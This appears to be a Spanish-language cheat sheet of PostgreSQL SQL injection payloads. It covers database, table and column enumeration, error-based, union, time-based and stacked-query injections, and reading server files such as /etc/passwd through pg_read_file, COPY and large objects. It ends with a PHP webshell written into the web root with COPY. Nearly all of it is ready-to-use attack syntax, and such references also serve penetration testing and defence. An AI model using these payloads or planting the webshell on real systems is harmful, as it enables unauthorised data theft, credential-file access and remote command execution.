# Privilegio de superusuario
SELECT current_setting('is_superuser')
Bases de datos
# Listado de base de datos
SELECT datname FROM pg_database
Tablas
# Tablas de una base de datos
SELECT table_name FROM <database>.information_schema.tables WHERE table_schema='public'
Columnas
# Columnas de una tabla
SELECT column_name,data_type FROM <database>.information_schema.columns WHERE table_name='<table>'
Datos
# Datos de una tabla
SELECT * FROM <table>
SELECT * FROM <database>.<schema>.<table>
Error-based SQLi
# Versi贸n
CAST(version() AS INT)
' AND 1=(SELECT CAST(version() AS INT))
# Listado de base de datos
CAST((SELECT STRING_AGG(datname,',') FROM pg_database LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(datname,',') FROM pg_database LIMIT 1) AS INT)
# Tablas de una base de datos
CAST((SELECT STRING_AGG(table_name,',') FROM <database>.information_schema.tables WHERE table_schema='public' LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(table_name,',') FROM <database>.information_schema.tables WHERE table_schema='public' LIMIT 1) AS INT)
# Columnas de una tabla
CAST((SELECT STRING_AGG(column_name,',') FROM <database>.information_schema.columns WHERE table_name='<table>' LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(column_name,',') FROM <database>.information_schema.columns WHERE table_name='<table>' LIMIT 1) AS INT)
# Datos de una table (Error-based SQLi + Stacked Queries SQLi)
';SELECT CAST(CAST(QUERY_TO_XML('SELECT * FROM <table> LIMIT 3',TRUE,TRUE,'') AS TEXT) AS INT)
Union-based SQLi
Obtener informaci贸n dentro de una sola columna
UNION SELECT columna1 || ' - ' || columna2 || ' - ' || columna3 FROM tabla1-- -
Time-based SQLi
|| (SELECT 1 FROM PG_SLEEP(10))
Stacked Queries SQLi
;SELECT version()
;SELECT * FROM <table>
;INSERT INTO <table> (column1, column2, column3) VALUES (value1, value2, value3)
Lectura y escritura de archivos
Para realizar operaciones de lectura y escritura de archivos mediante el comando COPY, el usuario debe contar con privilegios de superusuario o, alternativamente, poseer los roles pg_read_server_files y pg_write_server_files, respectivamente.
# Privilegio de superusuario
SELECT current_setting('is_superuser')
# Roles pg_read_server_files / pg_write_server_files
SELECT r.rolname, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) AS memberof FROM pg_catalog.pg_roles r WHERE r.rolname='fileuser';
Lectura
SELECT pg_read_file('/etc/passwd')
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/passwd';
SELECT * FROM tmp;
SELECT * FROM tmp LIMIT 3;
DROP TABLE tmp;
Un inconveniente al usar el comando COPY para leer archivos es que espera que los datos est茅n separados por columnas, usando por defecto el car谩cter de tabulaci贸n \t como delimitador. Sin embargo, se puede cambiar este delimitador por otro car谩cter poco com煤n, como \x07, para evitar errores durante la lectura.
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/hosts' DELIMITER E'\x07';
SELECT * FROM tmp;
SELECT * FROM tmp LIMIT 3;
DROP TABLE tmp;
Lectura con Large Objects
# Carga de archivo
SELECT lo_import('/etc/passwd');
# Obtener todos los object IDs
SELECT DISTINCT loid FROM pg_largeobject;
# Lectura de archivo
## Opci贸n 1
SELECT lo_get(<object-id>);
## Opci贸n 2
SELECT data FROM pg_largeobject WHERE loid=<object-id> AND pageno=0;
SELECT data FROM pg_largeobject WHERE loid=<object-id> AND pageno=1;
## Conversi贸n de hexadecimal
echo <hexadecimal> | xxd -r -p
Escritura
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/passwd';
COPY tmp (data) TO '/var/tmp/temp.txt';
DROP TABLE tmp;
Webshell
CREATE TABLE tmp(data TEXT);
INSERT INTO tmp(data) VALUES ('<?php echo system($_GET["cmd"]); ?>');
COPY tmp(data) TO '/var/www/html/webshell.php';